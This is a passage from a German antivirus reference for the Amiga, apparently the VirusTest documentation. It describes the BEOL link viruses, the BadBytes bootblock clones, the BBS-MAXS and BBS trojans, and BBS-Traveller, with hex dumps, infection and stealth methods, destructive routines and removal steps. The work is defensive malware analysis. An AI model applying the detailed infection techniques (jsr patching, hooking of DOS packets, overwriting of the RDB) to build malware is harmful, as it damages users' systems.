  1661.                     Speichermuell gefuellt. Dieser Block ist NICHT
  1662.                     zu retten.
  1663.  
  1664.    - B.E.O.L.-LVirus   Link-Virus
  1665.        Namensbegruendung  s.u.
  1666.        Andere moegliche Namen: Mount-972-Virus, 4EAE-Virus, FFFFFFE9-Virus
  1667.        Verlaengert ein File um 972 Bytes.
  1668.        Im decodierten Linkteil ist zu lesen:
  1669.            22006720 4eaeff82 4eaeffa6 6108632f ".g N...N...a.c/
  1670.            6d6f756e 7400221f 242afff0 4eaeffe2 mount.".$*..N...
  1671.        Keine verbogenen Vektoren
  1672.        Nicht Resetfest
  1673.        Haengt sich im Speicher fest ueber Dos-Strukturen. VOLUME-MsgPort
  1674.        Schreibt $FFFFFFE9 nach $202(a6)  (LastAlert)
  1675.        KS2.04: ja    (cmpi.b #$25,$15(a6)
  1676.        Der Linkteil wird mit Wert aus $DFF006 immer neu codiert.
  1677.        VT versucht Ausbau und versucht $4EAEuvwx wieder richtig zu setzen.
  1678.        Test mit Syquest-44: in 1/4 Stunde waren alle wichtigen Dirs
  1679.        hoffnungslos verseucht.
  1680.        Das Teil meldet sich nicht.
  1681.        Verwendet Sprungbefehle, die erst in neueren KS vorkommen.
  1682.        Haengt sich hinter Hunk.
  1683.        Ablauf:
  1684.        Test auf $03F3      (ausfuehrbar)
  1685.        Test auf $FFFFFFE9  (schon verseucht)
  1686.        Suche nach $4EAE    ( jsr -xy(Lib-Base) )
  1687.                            ( xy ist variabel, aber haeufig openlib)
  1688.        Falls gefunden, Test ob Abstand zu Hunkende kleiner $7FFF.
  1689.        Falls nein, weitersuchen
  1690.        Falls ja  ( addi.b #$c,-(a1) )
  1691.        d.h.  $4EAE wird in $4EBA  ( jsr Hunkende(PC) ) geaendert.
  1692.        Sobald eine Zaehlzelle nach LSL.B #2,D1 Null wird, wird ein
  1693.        weiterer Linkteil mit NEG.L (A7) noch einmal decodiert. Es wird
  1694.        dann ein File README mit der Laenge 1152 Bytes geschrieben. Dieses
  1695.        File enthaelt 32x :
  1696.                 ©+® B.E.O.L. 1995! Don't be angry!!
  1697.        Speichererkennung:   
  1698.        VT versucht auch LastAlert zu aendern ($FFFFFFFF). Dieser Wert
  1699.        muss aber nicht immer stimmen.
  1700.        VT versucht das Teil im Speicher abzuschalten (Bei meinen Tests
  1701.        gelungen).
  1702.        Wenn Sie 100%-Sicherheit haben wollen, dann nutzen Sie das Reset-
  1703.        Angebot. Booten Sie UNBEDINGT von einer SAUBEREN Antivirusdisk !!!!
  1704.        Ein Reset und dann die startup-sequence der Festplatte abarbeiten
  1705.        zu lassen, ist gefaehrlich, da hoechstwahrscheinlich Programme der
  1706.        startup-sequence verseucht sind !!!!!!!!!   
  1707.        Hinweis: Falls sehr viele Dirs verseucht sind, empfehle ich Ihnen
  1708.        mit Sp-File-Sp (FileReq.) zu arbeiten. VT bewegt sich dann nur in
  1709.        dem gewaehlten Verzeichnis.
  1710.           - Klicken Sie Sp-File-Sp
  1711.           - Klicken Sie devs
  1712.           - Waehlen Sie ein Unterverzeichnis
  1713.           - Klicken Sie DirFTest
  1714.           - Lassen Sie VT die Ausbauten vornehmen
  1715.           - Waehlen Sie danach ein anderes Unterverzeichnis
  1716.        Ueberlegen Sie bitte auch, ob Sie nach der Entseuchung nicht einzelne
  1717.        Unterverzeichnisse ins RAM kopieren wollen. Danach z.B. das c:
  1718.        komplett loeschen und dann von RAM zurueckkopieren. Die Fragmentierung
  1719.        der Festplatte duerfte verkleinert werden.
  1720.        Falls die Meldung "Sprungbefehl falsch" bei VT auftaucht:
  1721.        VT glaubt am 1. Hunkende das Virusteil gefunden zu haben, findet aber
  1722.        den Sprungbefehl nicht. Ueberlegen Sie bitte ob das File vielleicht
  1723.        schon mit einem anderen Programm bearbeitet wurde und lassen sie dann
  1724.        VT versuchen, das Linkteil auszubauen. Es gab in der Vergangenheit
  1725.        schon MEHRMALS Programme, die NUR die Aktivierung des jeweiligen
  1726.        Virusteils abgeschaltet haben, das Virusteil selbst aber NICHT ausge-
  1727.        baut haben.
  1728.        Hinweis: Es soll wieder ein Programm erschienen sein (Aug.95), das
  1729.        nur den Sprungbefehl zuruecksetzt, das Virusteil aber im File NICHT
  1730.        ausschneidet. VT sollte dann melden: "Sprungbefehl nicht gefunden".
  1731.        Probieren Sie aber mit VT dennoch einen Ausbau.
  1732.  
  1733.    - B.E.O.L.-2-LVirus   Link-Virus
  1734.        Namensbegruendung  s.u.
  1735.        siehe auch bei BEOL
  1736.        Verlaengert ein File um 1140 Bytes.
  1737.        Im decodierten (2x) Linkteil ist zu lesen:    
  1738.            4eeeff76 00296865 6c6c6f2c 2069276d N..v.)hello, i'm
  1739.            20422e45 2e4f2e4c 2e20616e 64206920  B.E.O.L. and i
  1740.            6c6f7665 20796f75 210a3a52 4541444d love you!.:READM
  1741.            4500646f 732e6c69 62726172 79000000 E.dos.library...
  1742.            ffffffe9 0000                       ......
  1743.        Keine verbogenen Vektoren
  1744.        Nicht Resetfest
  1745.        Haengt sich im Speicher fest ueber Dos-Strukturen. VOLUME-MsgPort
  1746.        Schreibt $FFFFFFE9 nach $202(a6)  (LastAlert)
  1747.        KS2.04: ja    (cmpi.b #$25,$15(a6)
  1748.        Der Linkteil wird mit Wert aus $DFF007 immer neu codiert.
  1749.        VT versucht Ausbau und versucht $4EAEuvwx wieder richtig zu setzen.
  1750.        Test mit Syquest-44: in kurzer Zeit waren alle wichtigen Dirs
  1751.        hoffnungslos verseucht.
  1752.        Das Teil meldet sich nicht.
  1753.        Verwendet Sprungbefehle, die erst in neueren KS vorkommen.
  1754.        Haengt sich hinter Hunk.
  1755.        Ablauf:
  1756.        Test auf $03F3      (ausfuehrbar)
  1757.        Test auf $FFFFFFE9  (schon verseucht) siehe oben
  1758.        Suche nach $4EAE    ( jsr -xy(Lib-Base) )
  1759.                            ( xy ist variabel, aber haeufig openlib)
  1760.        Falls gefunden, Test ob Abstand zu Hunkende kleiner $7FFF.
  1761.        Falls nein, weitersuchen
  1762.        Falls ja  ( addi.b #$c,-(a1) )
  1763.        d.h.  $4EAE wird in $4EBA  ( jsr Hunkende(PC) ) geaendert.
  1764.        Sobald eine Zaehlzelle nach AND.B #$7F,D0 Null wird, wird ein
  1765.        weiterer Linkteil mit NOT.B (A0)+ noch einmal decodiert. Es soll
  1766.        dann ein File README mit der Laenge 1800 Bytes geschrieben werden.
  1767.        Dieses File enthaelt 32x den Text "hello ..." siehe oben
  1768.        Speichererkennung:
  1769.        VT versucht auch LastAlert zu aendern ($FFFFFFFF). Dieser Wert
  1770.        muss aber nicht immer stimmen.
  1771.        VT versucht das Teil im Speicher abzuschalten (Bei meinen Tests
  1772.        gelungen).
  1773.        Wenn Sie 100%-Sicherheit haben wollen, dann nutzen Sie das Reset-
  1774.        Angebot. Booten Sie UNBEDINGT von einer SAUBEREN Antivirusdisk !!!!
  1775.        Ein Reset und dann die startup-sequence der Festplatte abarbeiten
  1776.        zu lassen, ist gefaehrlich, da hoechstwahrscheinlich Programme der
  1777.        startup-sequence verseucht sind !!!!!!!!!   
  1778.        Hinweis: Falls sehr viele Dirs verseucht sind, empfehle ich Ihnen
  1779.        mit Sp-File-Sp (FileReq.) zu arbeiten. VT bewegt sich dann nur in
  1780.        dem gewaehlten Verzeichnis.
  1781.           - Klicken Sie Sp-File-Sp
  1782.           - Klicken Sie devs
  1783.           - Waehlen Sie ein Unterverzeichnis
  1784.           - Klicken Sie DirFTest
  1785.           - Lassen Sie VT die Ausbauten vornehmen
  1786.           - Waehlen Sie danach ein anderes Unterverzeichnis
  1787.        Ueberlegen Sie bitte auch, ob Sie nach der Entseuchung nicht einzelne
  1788.        Unterverzeichnisse ins RAM kopieren wollen. Danach z.B. das c:
  1789.        komplett loeschen und dann von RAM zurueckkopieren. Die Fragmentierung
  1790.        der Festplatte duerfte verkleinert werden.
  1791.        Falls die Meldung "Sprungbefehl falsch" bei VT auftaucht:
  1792.        VT glaubt am 1. Hunkende das Virusteil gefunden zu haben, findet aber
  1793.        den Sprungbefehl nicht. Ueberlegen Sie bitte ob das File vielleicht
  1794.        schon mit einem anderen Programm bearbeitet wurde und lassen sie dann
  1795.        VT versuchen, das Linkteil auszubauen. Es gab in der Vergangenheit
  1796.        schon MEHRMALS Programme, die NUR die Aktivierung des jeweiligen
  1797.        Virusteils abgeschaltet haben, das Virusteil selbst aber NICHT ausge-
  1798.        baut haben.
  1799.  
  1800.    - BEOL-3-Virus   Link
  1801.        Fileverlaengerung: 1620 Bytes
  1802.        Im File ist uncodiert zu lesen:
  1803.            b6806660 0cad4245 4f4c02d6 66246100 ..f`..BEOL..f$a.
  1804.                  ;........
  1805.            45ea0018 202afff4 4e75dfdf dfdf034c E... *..Nu.....L
  1806.            4841034c 5a58035a 4950054c 4841222d HA.LZX.ZIP.LHA"-
  1807.        Speichereinbau:
  1808.          $B4(Process)
  1809.          Ueber DosList werden alle DLT_VOLUME gesucht. In diese wird
  1810.          beim Zeiger $B4 (pr_PktWait) eine Adresse eingetragen, die
  1811.          in den eigenen Virusteil zeigt. Normalerweise ist dieser
  1812.          Zeiger bei allen nicht verseuchten Processen, die ich mir an-
  1813.          geschaut habe, NULL. Wenn also VT in Zukunft "$B4(Process) > 0"
  1814.          ausgibt, dann wurde zwar der BEOL-3 nicht erkannt, aber ein
  1815.          anderes unerwuenschtes Teil hat hoechstwahrscheinlich diesen
  1816.          Zeiger verbogen. Seien Sie gewarnt !!!
  1817.          Das BEOL-3-Teil faengt ueber diesen Zeiger verschiedene Dos-
  1818.          Packets ab (Action_Read, Action_Seek usw.).
  1819.         Auswirkungen solange das Teil im Speicher aktiv ist:
  1820.          Da DosOpen, DosExamine in tieferen Ebenen immer ueber die jetzt
  1821.          abgefangenen DosPackets laufen, erhalten Sie ein falsches Er-
  1822.          gebnis (Fachbegriff Stealth-Virus).
  1823.          Sie werden also z.B. die Originallaenge des Files angezeigt be-
  1824.          kommen und nicht die verseuchte Laenge. Auch ein Hex-Filemonitor
  1825.          zeigt Ihnen bei BEOL-3 das File unverseucht, weil das Teil durch
  1826.          das Laden in den Speicher, das Virusteil vom File entfernt.
  1827.          VT versucht das Teil im Speicher abzuschalten.
  1828.        Fileveraenderung:
  1829.          Falls ein Aufruf von lha usw. (siehe oben) erfolgt, sollen keine
  1830.          Veraenderungen vorgenommen werden.
  1831.         Sonst:
  1832.          Das File wird um #1620 Bytes laenger.
  1833.          Das File besteht immer aus 2 Hunks.
  1834.          Der 1. Hunk ist das Virusteil.
  1835.          Der 2. Hunk ist ein Data-Hunk, in dem sich das Originalfile be-
  1836.          findet, wobei noch der Anfang des Originalfiles (1612 Bytes)
  1837.          nach hinten versetzt wird.
  1838.          VT sollte (wenn BEOL-3 NICHT aktiv ist) diese Files erkennen
  1839.          und in den Ursprungszustand zuruecksetzen koennen.
  1840.        Hinweis 1:
  1841.          Klicken Sie ab und zu in VT auf ein Gadget (z.B. Tools) und dann
  1842.          gleich wieder in diesem Fenster auf Ende. Folge: VT durchlaeuft
  1843.          einen Speicherscan und sollte einen NEU aktivierten BEOL-3 fin-
  1844.          den.
  1845.        Hinweis 2:
  1846.          Auch aeltere VT-Vers. sollten (bei aktivem BEOL-3 im Speicher) bei
  1847.          BEOL-3 verseuchten Files beim BlockKetteTest Fehlermeldungen
  1848.          (Fehler in Blockliste, BadNExtDataBlock) ausgeben, da die von
  1849.          BEOL-3 vorgegebene Filelaenge nicht mit der Blockanzahl zusammen-
  1850.          passt. Das habe ich mit mehreren Rechnern ausprobiert und es sind
  1851.          immer diese Fehlermeldungen gekommen.
  1852.           
  1853.    - BEOL-4-Virus   Link
  1854.        Fileverlaengerung: 2000 Bytes
  1855.          WICHTIG !!!!!!
  1856.          Falls VT einen Hinweis auf BEOL4 ausgibt, sollten Sie
  1857.          UNBEDINGT !!!!! von einer sauberen AntiVirusDisk neu Booten.
  1858.        Speichereinbau:
  1859.          bei Tests auf meinen Systemen NIE gelungen
  1860.          68000/30/40/60: immer GURU 3, 4 oder B
  1861.          Das Teil koennte also nur noch mit 68020 laufen. (Hab ich nicht)
  1862.          Entweder das Teil hat sich nicht eingelinkt und vermehrt oder
  1863.          GURU wenn Festplatte gefunden.
  1864.        ABER !!!
  1865.          Es wurde ein Installer ins Netz gesetzt, der zum Glueck in
  1866.          einem defektem lzx-Archiv ist. Aber es ist auch ein C-source
  1867.          dabei. Damit kann man von Hand einen Link an ein File aus-
  1868.          fuehren.           
  1869.          Das File wird um #2000 Bytes laenger.
  1870.          Das File besteht immer aus 2 Hunks.
  1871.          Der 1. Hunk ist das Virusteil.
  1872.          Der 2. Hunk ist ein Data-Hunk, in dem sich das Originalfile be-
  1873.          findet, wobei noch der Anfang des Originalfiles nach hinten
  1874.          versetzt wird.
  1875.          Diese Files sollte VT erkennen und ausbauen koennen.
  1876.        ABER !!!!!
  1877.          Sobald eine Festplatte gefunden wird, veraendert das Teil VOR
  1878.          dem GURU das Filesystem im Rigidbereich !!!!!!!!!
  1879.          LSEG beginnt bei meinem Testmedium auf Block 0+2
  1880.          Vorher:
  1881.              0600: 4c534547 00000080 150b81f5 00000007 LSEG............
  1882.              0610: 00000004 000003f3 00000000 00000001 ................
  1883.              0620: 00000000 00000000 00001821 000003e9 ...........!....
  1884.              0630: 00001821 72006008 00000000 00000012 ...!r.`.........
  1885.              0640: 48e700fe e5892441 2f016160 221f4cdf H.....$A/.a`".L.
  1886.              0650: 7f004a81 66024e75 4ed64afc 00000026 .J.f.NuN.J....&
  1887.              0660: 00000050 002800af 0000006a 00000056 ...P.(.....j...V
  1888.              0670: 00000004 00000000 00000001 00000004 ................
  1889.              0680: 00000096 24564552 3a206673 2034302e ....$VER: fs 40.
  1890.          Nachher:
  1891.              0600: 4c534547 00000080 62ef8c4c 00000007 LSEG....b..L....
  1892.              0610: 00000004 000003f3 00000000 00000002 ................
  1893.              0620: 00000000 00000001 000001e7 00001833 ...............3
  1894.              0630: 000003e9 000001e7 487afffe 48e7fffe ........Hz..H...
  1895.              0640: 606c2c78 0004206e 01142028 00ac6706 `l,x.. n.. (..g.
  1896.              0650: e588723c 600ad0fc 005c4eae fe807218 ..r<`....\N...r.
  1897.              0660: d0812a40 614c670e b4956602 2a815880 ..*@aLg...f.*.X.
  1898.              0670: 30fc4ef9 20c030fc 4e75246f 003c3e3c 0.N. .0.Nu$o.<><
  1899.              0680: 01e626da 51cffffc 26ce2c78 0004226e ..&.Q...&.,x.."n
  1900.          Es wird also das Fastfilesystem wie beim angeblichen Filelink
  1901.          umgewandelt und danach kommt IMMER der GURU.
  1902.          Sie fuehren also einen Reset aus und bekommen SOFORT einen
  1903.          GURU-Requester.
  1904.          Abhilfe, die ausgetestet ist und hilft, wenn Sie mit VT ein
  1905.          RIGID-Backup angelegt haben. Weiterhin brauchen Sie auf Disk
  1906.          ein Mountlist-File und den Mountbefehl. ALLE Versuche von
  1907.          meiner Seite mit der Festplatte in diesem Zustand mit der
  1908.          HDtoolbox sind MISSLUNGEN !!!!!
  1909.          - Schalten Sie die Festplatte im Boot-Menue ab
  1910.          - Klicken Sie auf ohne startup-sequence (Wichtig !!!!!)
  1911.          - machen Sie 2 !!!!! Cli-Fenster auf
  1912.          - geben Sie im ersten Fenster mount SDH0: (oder wie Ihr Medium
  1913.            heisst) ein
  1914.          - Es folgt sofort der GURU-Requester
  1915.          - Klicken Sie suspend
  1916.          - das erste Cli-Fenster ist danach UNBRAUCHBAR !!!!!
  1917.          - Laden Sie im zweiten Cli-Fenster VT
  1918.          - Rufen Sie z.Zyl/scanrigid auf
  1919.          - Loeschen Sie mit VT die Virus-Bloecke
  1920.          - jetzt koennen Sie mit VT Ihr Rigid-Backup zurueckspielen
  1921.          oder
  1922.          - Sie Booten neu. Da das Filesystem im RIGID-Bereich jetzt
  1923.            unbrauchbar ist, sollte das Filesystem aus dem ROM ver-
  1924.            wendet werden. Dieses koennte aber fuer Ihre Festplatten-
  1925.            Struktur zu alt sein !!!!!!!!!
  1926.          oder
  1927.          - Da das Virusteil nicht mehr im Rigid-Bereich ist, koennen
  1928.            Sie auch wieder HDToolBox verwenden (Sie haben sich ja die
  1929.            Aufteilung aufgeschrieben oder mit VT (Tools/LWInfo/Druck)
  1930.            ausgedruckt (Etwa NICHT ????).
  1931.          - Falls Ihr Computer KEIN Boot-Menue (uraltes ROM) hat:
  1932.            Tut mir leid. Festplatte ausbauen und bei einem Bekannten
  1933.            am PC neu formatieren.   
  1934.          - Falls Sie eine zweite Festplatte in Ihrem Computer haben.
  1935.            SOFORT !!!!! Kabel abziehen, sonst wird auch deren Rigid-
  1936.            Bereich von dem defekten Virusteil veraendert.
  1937.          Wichtig !!!!!!
  1938.            Bei Verdacht booten Sie bitte IMMER von einer sauberen Disk,
  1939.            damit sich das Teil nicht doch auf irgendeinem Computertyp
  1940.            doch im Speicher verankert. Ich habs nicht geschafft.
  1941.          Anmerkung:
  1942.            Nach diesem Vorfall kann ich Ihnen nur dringend empfehlen,
  1943.            alle notwendigen Massnahmen fuer ein Booten ohne Festplatte
  1944.            zu treffen. Weiterhin sollten Sie regelmaessig z.Zyl/Scan-
  1945.            Rigid aufrufen.
  1946.  
  1947.  
  1948.    - BEOL-96-Virus   Link
  1949.        Fileverlaengerung: 1792 Bytes + Bytes der Codierungen (variabel)
  1950.        68000: ja
  1951.        Ab KS2.04
  1952.        Verbogener Zeiger: $B4(Process)  (pr_PktWait=normal Null)
  1953.        Codierung immer neu ($DFF007)
  1954.        Anzahl der Codierungen variabel
  1955.        Mehrfachlink ans gleiche File: ja  (Test addbuffers selbst gestoppt
  1956.        nach 18 Links !!!)
  1957.        Defekte Files bei Vermehrung: ja
  1958.        Aktiver BEOL96 im Speicher: Sie sehen die Originalfilelaenge, nie
  1959.          die verseuchte Laenge. Das Teil duerfte aelter sein als BEOL-3
  1960.          (siehe oben), da BEOL-3 auch noch "saubere" Fileinhalte anzeigt.
  1961.        Im File ist mehrfach decodiert zu lesen:
  1962.            fffc4868 fa884eee fd844245 4f4c3936 ..Hh..N...BEOL96
  1963.        Speichereinbau:
  1964.          Sucht in Taskliste (ready und wait) nach Process. Verbiegt
  1965.          $B4(Process) auf sich.
  1966.         VT sollte das Teil finden und abschalten. Klicken Sie bitte ab
  1967.         und zu auf ein VT-Gagdet, damit ein Speichertest gestartet wird.
  1968.         Vermeiden Sie andere Programme zu starten (Bitte nicht Amiga+M).
  1969.        Fileeinbau:
  1970.         Es wird ein neuer 1.Hunk geschrieben. Das erste Wort des
  1971.         1. Original-Hunks wird codiert.
  1972.        VT versucht den Ausbau und das 1.Wort wieder richtig zu schreiben.
  1973.        Hinweis:
  1974.         Falls VT ein bestimmtes LW nicht findet, sollte ein Requester
  1975.         mit dem Fehlerhinweis erscheinen. Sie koennen dann immer noch
  1976.         mit VT (trotzdem Ausbau ja) den 1.Hunk abschneiden, aber das
  1977.         erste Wort wird nicht decodiert !!!  Falls Sie auf solche Files
  1978.         treffen (ich hoffe nicht), waere ich fuer eine Zusendung dank-
  1979.         bar.
  1980.        Falls Ihr System verseucht ist:
  1981.         Bitte starten Sie ein Antivirusprogramm Ihrer Wahl von DISK (!!!!)
  1982.         und starten Sie KEINE weiteren Programme.
  1983.  
  1984.  
  1985.  
  1986.    - BadBytes1-Virus   BB  Warhawk Clone  siehe unten
  1987.       Nur Text geaendert. Der Name ist fuer mich nicht nachvollziehbar.
  1988.       Wenn schon, dann waere TTS-Virus besser gewesen.
  1989.            00200096 81005454 53205649 52555320 . ....TTS VIRUS
  1990.            4953204f 4e205448 4953204c 414d4552 IS ON THIS LAMER
  1991.            27532057 4f524b20 21212121 21202041 'S WORK !!!!!  A
  1992.  
  1993.    - BadBytes2-Virus   BB  TimeBomb V1.0 Clone  siehe unten
  1994.       Text fuer DisplayAlert:
  1995.            14536f66 74776172 65204661 696c7572 .Software Failur
  1996.            65202d20 57652068 61746520 796f7521 e - We hate you!
  1997.            20596f75 20617265 20676f69 6e672074  You are going t
  1998.            6f204449 45210001 00000000 42b90007 o DIE!......B...
  1999.       Namensbegruendung:
  2000.            00416e74 692d4861 72616c64 20506175 .Anti-Harald Pau
  2001.            6c73656e 20616e64 20547769 6e732076 lsen and Twins v
  2002.            69727573 20646f6e 65206279 20545453 irus done by TTS
  2003.            20616e64 204e6967 68746861 776b2020  and Nighthawk
  2004.            6f662042 61644279 74657349 6e632e2c of BadBytesInc.,
  2005.  
  2006.    - BadBytes3-Virus   BB  Blackflash-Clone   siehe unten
  2007.       Nur Text geaendert:
  2008.            20204951 20427265 616b6572 20766972   IQ Breaker vir
  2009.            75732020 20220cb9 6600000e 0007f030 us   "..f......0
  2010.               ;......
  2011.            446f6e65 20627920 42616420 42797465 Done by Bad Byte
  2012.            7320496e 63202d20 5468616e 7820746f s Inc - Thanx to
  2013.  
  2014.    - BadBytes4-Virus   BB  SCA-Clone   siehe unten
  2015.       Nur Text geaendert:
  2016.            6f732e6c 69627261 72790000 20506172 os.library.. Par
  2017.            61736974 65206f66 20426164 20427974 asite of Bad Byt
  2018.            65732049 6e632070 72657365 64d2aa2d es Inc presed..-
  2019.  
  2020.    - BadBytes5-Virus  BB   Coder-Clone siehe unten
  2021.       Nur Text geaendert. Name nicht nachvollziehbar ueber Text.
  2022.            596f7572 20636f6d 70757465 72206973 Your computer is
  2023.            2073746f 6e656421 204c6567 616c697a  stoned! Legaliz
  2024.            65206d61 72697568 616e6121 20506172 e mariuhana! Par
  2025.            61736974 65206f66 20424249 21201400 asite of BBI! ..
  2026.  
  2027.    - BAHAN     anderer Name BUTONIC_1.1  siehe dort
  2028.  
  2029.    - Bavarian (L)    BB Intro der Bavarian-PD Serie
  2030.       Kein Virus, da keine Vermehrung.
  2031.       Aber zumindest der BB auf Disk 79 schreibt GURU nach $60.
  2032.       Dringende Empfehlung deshalb: Loeschen
  2033.       Im BB ist zu lesen:
  2034.            70ff4e75 204041e8 002823fc 47555255 p.Nu @A..(#.GURU
  2035.            00000060 43f900df f000337c 00a00096 ...`C.....3|....
  2036.       Hinweis: Es liegen auch zwei Bavarian-BB-Intros vor, die nach
  2037.       meiner Meinung harmlos sind. Lesen Sie bitte in VT.andere-BB
  2038.       nach.
  2039.  
  2040.    - Baltasar-Virus  BB   SCA-Clone  s.u.
  2041.  
  2042.    - BB-MASSACRE       File
  2043.          gepackt: 9592 Bytes
  2044.             20202020 20202070 72657365 6e742069        present i
  2045.             6e203139 3838203a 201b5b31 6d544845 n 1988 : .[1mTHE
  2046.             20424f4f 54424c4f 434b204d 41535341  BOOTBLOCK MASSA
  2047.             43524520 1b5b306d 0a202020 20202020 CRE .[0m.......
  2048.          Bietet install von verschiedenen alten BB-Viren   (1988)
  2049.          Bietet install von Timebomb V0.9 (Files) s.u.
  2050.  
  2051.    - BB-Prot   BB Virus   anderer Name: T.ET.E  s.u.
  2052.  
  2053.    - BBS-MAXS-Trojaner
  2054.       Mehrere Files bekannt
  2055.       Programmierung in AMOS
  2056.       Keine Vermehrung
  2057.       Keine verbogenen Vektoren
  2058.       Schaden: Zerstoerung von BBS-Systemen (loescht Files)
  2059.       VT bietet loeschen an
  2060.       Im File ist zu lesen (Filenamen aendern sich teilweise):  
  2061.           00000360 0008533a 4e4f4b49 4c4c0005 ...`..S:NOKILL..
  2062.           633a6c68 61000005 633a6c68 61000005 c:lha...c:lha...
  2063.           633a6469 72000005 633a6469 72000013 c:dir...c:dir...
  2064.           6262733a 75736572 732f7573 65722e64 bbs:users/user.d
  2065.           61746100 00136262 733a7573 6572732f ata...bbs:users/
  2066.           75736572 2e646174 61000017 6262733a user.data...bbs:
  2067.           75736572 66696c65 732f7573 65722e64 userfiles/user.d
  2068.           61746100 00176262 733a7573 65726669 ata...bbs:userfi
  2069.           6c65732f 75736572 2e646174 61000012 les/user.data...
  2070.           733a7374 61727475 702d7365 7175656e s:startup-sequen
  2071.           63650012 733a7374 61727475 702d7365 ce..s:startup-se
  2072.           7175656e 6365000e 733a7573 65722d73 quence..s:user-s
  2073.                ;......
  2074.           70650006 633a7479 70650006 633a636f pe..c:type..c:co
  2075.           70790006 633a636f 70790013 733a6469 py..c:copy..s:di
  2076.           72656374 6f72796f 7075732e 63666700 rectoryopus.cfg.
  2077.           0013733a 64697265 63746f72 796f7075 ..s:directoryopu
  2078.           732e6366 67000004 6262733a 000e6262 s.cfg...bbs:..bb
  2079.           733a4352 415a5948 4f525345 003b4341 s:CRAZYHORSE.;CA
  2080.           4c4c2041 20524541 4c204242 53212054 LL A REAL BBS! T
  2081.           48452053 5441424c 45204f4e 20303135 HE STABLE ON 015
  2082.           35342038 39313234 36202044 45415448 54 891246  DEATH
  2083.           20544f20 4d415853 21000000 00000000  TO MAXS!.......
  2084.       Typ A:
  2085.        Archivname: Spice_Power.lha
  2086.        Filename:   SpicePower97       57820 Bytes
  2087.        FileID:     ZENGO SPICE POWER MEGAMIX 1997!
  2088.       Typ B:
  2089.        Archivname: Nce-Tri9.lha
  2090.        Filename:   Trilobyte!_9.exe   46264 Bytes
  2091.        FileID:     ...Trilobyte! #9!
  2092.       Typ C:
  2093.        Archivname: jc_spicegirls.lha
  2094.        Filename:   jc-spice.exe      111524 Bytes
  2095.        FileID:     Jurasic Cactus
  2096.       Typ D:
  2097.        Archivname: Mpeopledemo.lha  (Archiv teilweise defekt)
  2098.        Filename:   mpeople.exe
  2099.        FileID:     M-PEOPLE SLIDESHOW
  2100.  
  2101.    - BBS-Traveller-Vir.   Linkvirusteil
  2102.       Fileverlaengerung: 1536 Bytes
  2103.       Ueberlaeuft 3E8-, 3F0-, 3F1-Hunks usw.
  2104.       Eine Mischung aus Ebola und StrangeAt.
  2105.       Ab KS 2.04
  2106.       Nicht ResetFest (Am Anfang s.u.)
  2107.       Verbogene Vektoren: LoadSeg, ReadArgs, FindName, FindTask,
  2108.                           AddPort, SetFunction
  2109.                           Cool, DoIo (abhaengig von Zaehlzelle)
  2110.       Im decodierten LinkTeil ist zu lesen:
  2111.         54525349 67047000 4e7570ff 4e754eae TRSIg.p.Nup.NuN.
  2112.         feda4e75 53657446 756e6b74 696f6e4d ..NuSetFunktionM
  2113.         616e6167 65720000 536e6f6f 70446f73 anager..SnoopDos
  2114.         0000536e 6f6f7044 6f732053 7570706f ..SnoopDos Suppo
  2115.         72742050 726f6300 56697275 735f4368 rt Proc.Virus_Ch
  2116.         65636b65 7228ae29 00005669 7275735a ecker(.)..VirusZ
  2117.         5f494900 07e13de4 07f5e200 07f4ecfd _II...=.........
  2118.         646f732e 6c696272 61727900 2d3d2820 dos.library.-=(
  2119.         54686520 42425320 54726176 656c6c65 The BBS Travelle
  2120.         7220293d 2d00                       r )=-.
  2121.       Speicherverankerung:      
  2122.        - Suche nach gefaehrlichen Programmen (siehe oben).
  2123.          Falls gefunden, KEIN Einbau im Speicher
  2124.        - Test, ob Loadseg schon von Ebola, StrangeAt. oder dem
  2125.          eigenen Programm verbogen ist.
  2126.        - Verbiegen der Vektoren (siehe oben).
  2127.        - Falls obengenannte Programme spaeter geladen werden,
  2128.          dann keine Vermehrung oder gar Selbst-Entfernung aus dem
  2129.          Speicher (z.B. VirusZ)
  2130.        - Falls VT bis einschl. 2.82 spaeter geladen wird, so
  2131.          ENTFERNT sich das Linkteil selbst aus dem Speicher !!!!.
  2132.        - Falls VT VOR dem Linkteil geladen wurde, koennen mit
  2133.          VT/Tools/Systemtest oder VT/Tools/zeigeVek. die verbogenen
  2134.          Vektoren gefunden werden. Das Teil haette also AUCH mit
  2135.          VT2.82 GEFUNDEN WERDEN KOENNEN !!!!!
  2136.        VT2.83 sollte das Teil jetzt im Speicher finden, anzeigen
  2137.        und abschalten. (egal ob VT vorher oder nachher geladen
  2138.        wird)
  2139.       Vermehrung:
  2140.        Fuer die Vermehrung wird NUR LoadSeg verwendet.
  2141.        Test auf:
  2142.        - $3F3 (ausfuehrbar) und $3E9 (CodeHunk) werden gefunden
  2143.          Hinweis: 3E8-, 3F0-, 3F1-Hunks usw. werden ueberlaufen.
  2144.        - Filename enthaelt nicht v, V, . oder -
  2145.        - File noch nicht von Ebola, StrangeAt. oder dem eigenen
  2146.          Programm verseucht.
  2147.        - File ausfuehrbar
  2148.        - Medium validated und mind. 4 Blocks frei
  2149.        - Medium mind. #6000 Blocks (also keine Disk)
  2150.        - File groesser #2600 und kleiner #290000 Bytes
  2151.        Das Teil linkt sich hinter den ersten Hunk, sucht im Original-
  2152.        Hunk nach $4EAE (jsr) und ersetzt jsr durch $4EBA (jsr(PC)).
  2153.        Das Linkteil wird immer neu codiert in Abhaengigkeit von
  2154.        $DFF006. Die Sprungweite darf nicht groesser als $7FF0 sein.
  2155.        VT2.83 sollte den Linkteil finden und ausbauen koennen.
  2156.       Zerstoerung:
  2157.        Sobald eine Zaehlzelle einen hohen Wert und $DFF006 einen
  2158.        bestimmten Wert enthaelt, wird mit Cool und DoIo eine
  2159.        Zerstoerungsroutine aufgebaut.
  2160.        Trackdisk.device wird NICHT gefordert (also auch HD).
  2161.        Ab Block 0 (auch Rigid) wird in einer Schleife Speichermuell
  2162.        geschrieben.
  2163.        VT2.83 sollte Cool und DoIo finden, StrangeAt.-V. ausgeben
  2164.        und die Vektoren zuruecksetzen.
  2165.  
  2166.    - BBS-Trojan
  2167.       Diese Programme sind haeufig NICHT vermehrungsfaehig.
  2168.       Sie dienen meist als Einbruchswerkzeug in eine Mailbox UND
  2169.       in einigen Programmen ist eine Zerstoerungsroutine eingebaut.
  2170.  
  2171.       Typ A (28.05.93):
  2172.       Das Programm DiskRepair V1.2 wurde verseucht. (BBS-DiskR.-Troj)
  2173.       Verseuchte Laenge: 49336 Bytes
  2174.       Methode: 4EB9-Link  Das BBS-Teil wird NACH DiskRepair aufgerufen.
  2175.            Trojan-Teil:
